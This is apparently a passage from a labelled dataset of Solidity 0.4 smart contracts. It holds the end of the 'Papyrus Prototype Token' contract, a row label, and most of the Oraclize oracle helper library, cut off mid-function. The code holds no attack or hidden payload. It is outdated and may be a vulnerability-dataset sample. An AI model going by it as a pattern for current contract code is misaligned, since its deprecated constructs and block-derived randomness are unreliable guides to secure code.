event Mint(address indexed to, uint256 amount, uint256 priceUsd);
event MintFinished();
event Burn(address indexed burner, uint256 amount);
event TransferableChanged(bool transferable);
function() public { revert(); }
function transfer(address _to, uint256 _value) canTransfer public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) canTransfer public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function mint(address _to, uint256 _amount, uint256 _priceUsd) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
if (_priceUsd != 0) {
uint256 amountUsd = _amount.mul(_priceUsd).div(10**18);
totalCollected = totalCollected.add(amountUsd);
}
Mint(_to, _amount, _priceUsd);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalBurned = totalBurned.add(_value);
Burn(burner, _value);
}
function setTransferable(bool _transferable) onlyOwner public returns (bool) {
require(transferable != _transferable);
transferable = _transferable;
TransferableChanged(transferable);
return true;
}
modifier canMint() {
require(!mintingFinished);
_;
}
modifier canTransfer() {
require(transferable || msg.sender == owner);
_;
}
string public name = "Papyrus Prototype Token";
string public symbol = "PRP";
string public version = "H0.1";
uint8 public decimals = 18;
bool public transferable = false;
bool public mintingFinished = false;
uint256 public totalBurned;
uint256 public totalCollected;
} | 1 | 4,632 |
pragma solidity ^0.4.0;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
function randomDS_getSessionPubKeyHash() returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto);
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
}
function oraclize_useCoupon(string code) oraclizeAPI internal {
oraclize.useCoupon(code);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
if ((_nbytes == 0)||(_nbytes > 32)) throw;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes[3] memory args = [unonce, nbytes, sessionKeyHash];
bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit);
oraclize_randomDS_setCommitment(queryId, sha3(bytes8(_delay), args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(sha3(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(sha3(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = 1;
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
